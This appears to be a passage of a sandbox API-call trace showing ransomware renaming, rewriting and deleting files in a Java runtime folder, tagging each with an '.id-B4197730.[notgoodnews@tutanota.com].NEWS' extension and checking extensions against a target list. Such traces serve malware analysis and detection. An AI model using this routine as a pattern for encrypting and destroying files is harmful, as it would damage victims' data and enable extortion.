[0161.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0161.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.504] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0161.504] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.504] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.504] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0161.505] GetLastError () returned 0x0 [0161.505] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x12574, lpOverlapped=0x0) returned 1 [0162.001] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x12580, lpOverlapped=0x0) returned 1 [0162.004] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.004] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x108, lpOverlapped=0x0) returned 1 [0162.004] SetEndOfFile (hFile=0x4bc) returned 1 [0162.005] CloseHandle (hObject=0x4bc) returned 1 [0162.005] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.005] SetEndOfFile (hFile=0x470) returned 1 [0162.011] CloseHandle (hObject=0x470) returned 1 [0162.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0162.012] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0162.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.013] lstrlenW (lpString=".doc") returned 4 [0162.013] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0162.013] lstrlenW (lpString=".docx") returned 5 [0162.013] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0162.013] lstrlenW (lpString=".pdf") returned 4 [0162.013] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0162.013] lstrlenW (lpString=".xls") returned 4 [0162.013] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0162.013] lstrlenW (lpString=".xlsx") returned 5 [0162.013] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0162.013] lstrlenW (lpString=".ppt") returned 4 [0162.013] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0162.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.013] lstrlenW (lpString=".zip") returned 4 [0162.013] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0162.013] lstrlenW (lpString=".rar") returned 4 [0162.013] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0162.013] lstrlenW (lpString=".bz2") returned 4 [0162.013] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0162.013] lstrlenW (lpString=".7z") returned 3 [0162.013] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0162.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.013] lstrlenW (lpString=".dbf") returned 4 [0162.013] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0162.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.014] lstrlenW (lpString=".1cd") returned 4 [0162.014] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.014] lstrlenW (lpString=".jpg") returned 4 [0162.014] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.014] lstrlenW (lpString=".doc") returned 4 [0162.014] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString=".docx") returned 5 [0162.014] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0162.014] lstrlenW (lpString=".pdf") returned 4 [0162.014] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString=".xls") returned 4 [0162.014] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0162.014] lstrlenW (lpString=".xlsx") returned 5 [0162.014] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0162.014] lstrlenW (lpString=".ppt") returned 4 [0162.014] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.014] lstrlenW (lpString=".zip") returned 4 [0162.014] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0162.014] lstrlenW (lpString=".rar") returned 4 [0162.014] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString=".bz2") returned 4 [0162.014] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString=".7z") returned 3 [0162.014] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0162.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.014] lstrlenW (lpString=".dbf") returned 4 [0162.014] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.014] lstrlenW (lpString=".1cd") returned 4 [0162.014] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0162.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0162.015] lstrlenW (lpString=".jpg") returned 4 [0162.015] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0162.015] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0162.015] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0162.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0162.016] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=698236) returned 1 [0162.016] CloseHandle (hObject=0x470) returned 1 [0162.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0162.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0162.016] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.016] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0162.019] GetLastError () returned 0x0 [0162.019] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0162.580] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xaa780, lpOverlapped=0x0) returned 1 [0162.596] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.596] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xfe, lpOverlapped=0x0) returned 1 [0162.596] SetEndOfFile (hFile=0x4bc) returned 1 [0162.596] CloseHandle (hObject=0x4bc) returned 1 [0162.597] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.597] SetEndOfFile (hFile=0x470) returned 1 [0162.939] CloseHandle (hObject=0x470) returned 1 [0162.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0163.191] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.362] lstrlenW (lpString=".doc") returned 4 [0163.362] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString=".docx") returned 5 [0163.362] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0163.362] lstrlenW (lpString=".pdf") returned 4 [0163.362] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString=".xls") returned 4 [0163.362] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0163.362] lstrlenW (lpString=".xlsx") returned 5 [0163.362] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0163.362] lstrlenW (lpString=".ppt") returned 4 [0163.362] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.362] lstrlenW (lpString=".zip") returned 4 [0163.362] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0163.362] lstrlenW (lpString=".rar") returned 4 [0163.362] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString=".bz2") returned 4 [0163.362] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString=".7z") returned 3 [0163.362] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.362] lstrlenW (lpString=".dbf") returned 4 [0163.362] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.362] lstrlenW (lpString=".1cd") returned 4 [0163.362] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.362] lstrlenW (lpString=".jpg") returned 4 [0163.362] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.362] lstrlenW (lpString=".doc") returned 4 [0163.362] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0163.362] lstrlenW (lpString=".docx") returned 5 [0163.363] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0163.363] lstrlenW (lpString=".pdf") returned 4 [0163.363] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0163.363] lstrlenW (lpString=".xls") returned 4 [0163.363] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0163.363] lstrlenW (lpString=".xlsx") returned 5 [0163.363] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0163.363] lstrlenW (lpString=".ppt") returned 4 [0163.363] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0163.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.363] lstrlenW (lpString=".zip") returned 4 [0163.363] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0163.363] lstrlenW (lpString=".rar") returned 4 [0163.363] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0163.363] lstrlenW (lpString=".bz2") returned 4 [0163.363] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0163.363] lstrlenW (lpString=".7z") returned 3 [0163.363] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0163.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.363] lstrlenW (lpString=".dbf") returned 4 [0163.363] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0163.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.363] lstrlenW (lpString=".1cd") returned 4 [0163.363] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0163.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0163.363] lstrlenW (lpString=".jpg") returned 4 [0163.363] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0163.363] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0163.363] lstrlenW (lpString="javafx.properties") returned 17 [0163.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0163.573] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=56) returned 1 [0163.574] CloseHandle (hObject=0x4dc) returned 1 [0163.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0163.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0163.576] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.576] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0163.577] GetLastError () returned 0x0 [0163.577] ReadFile (in: hFile=0x4dc, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x38, lpOverlapped=0x0) returned 1 [0163.578] WriteFile (in: hFile=0x4e0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x40, lpOverlapped=0x0) returned 1 [0163.580] ReadFile (in: hFile=0x4dc, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.580] WriteFile (in: hFile=0x4e0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xf6, lpOverlapped=0x0) returned 1 [0163.580] SetEndOfFile (hFile=0x4e0) returned 1 [0163.580] CloseHandle (hObject=0x4e0) returned 1 [0163.580] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.580] SetEndOfFile (hFile=0x4dc) returned 1 [0163.586] CloseHandle (hObject=0x4dc) returned 1 [0163.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0163.586] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0163.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.587] lstrlenW (lpString=".doc") returned 4 [0163.587] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.587] lstrlenW (lpString=".docx") returned 5 [0163.587] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.587] lstrlenW (lpString=".pdf") returned 4 [0163.587] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.587] lstrlenW (lpString=".xls") returned 4 [0163.587] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.587] lstrlenW (lpString=".xlsx") returned 5 [0163.587] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.587] lstrlenW (lpString=".ppt") returned 4 [0163.587] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.587] lstrlenW (lpString=".zip") returned 4 [0163.587] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.587] lstrlenW (lpString=".rar") returned 4 [0163.587] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.587] lstrlenW (lpString=".bz2") returned 4 [0163.587] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.587] lstrlenW (lpString=".7z") returned 3 [0163.587] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.587] lstrlenW (lpString=".dbf") returned 4 [0163.587] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.588] lstrlenW (lpString=".1cd") returned 4 [0163.588] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.588] lstrlenW (lpString=".jpg") returned 4 [0163.588] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.588] lstrlenW (lpString=".doc") returned 4 [0163.588] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString=".docx") returned 5 [0163.588] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.588] lstrlenW (lpString=".pdf") returned 4 [0163.588] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString=".xls") returned 4 [0163.588] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString=".xlsx") returned 5 [0163.588] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.588] lstrlenW (lpString=".ppt") returned 4 [0163.588] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.588] lstrlenW (lpString=".zip") returned 4 [0163.588] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString=".rar") returned 4 [0163.588] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString=".bz2") returned 4 [0163.588] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString=".7z") returned 3 [0163.588] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.588] lstrlenW (lpString=".dbf") returned 4 [0163.588] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.588] lstrlenW (lpString=".1cd") returned 4 [0163.589] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0163.589] lstrlenW (lpString=".jpg") returned 4 [0163.589] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.589] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0163.589] lstrlenW (lpString="javaws.jar") returned 10 [0163.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0163.827] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=944167) returned 1 [0163.827] CloseHandle (hObject=0x4e4) returned 1 [0163.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0163.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.928] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), 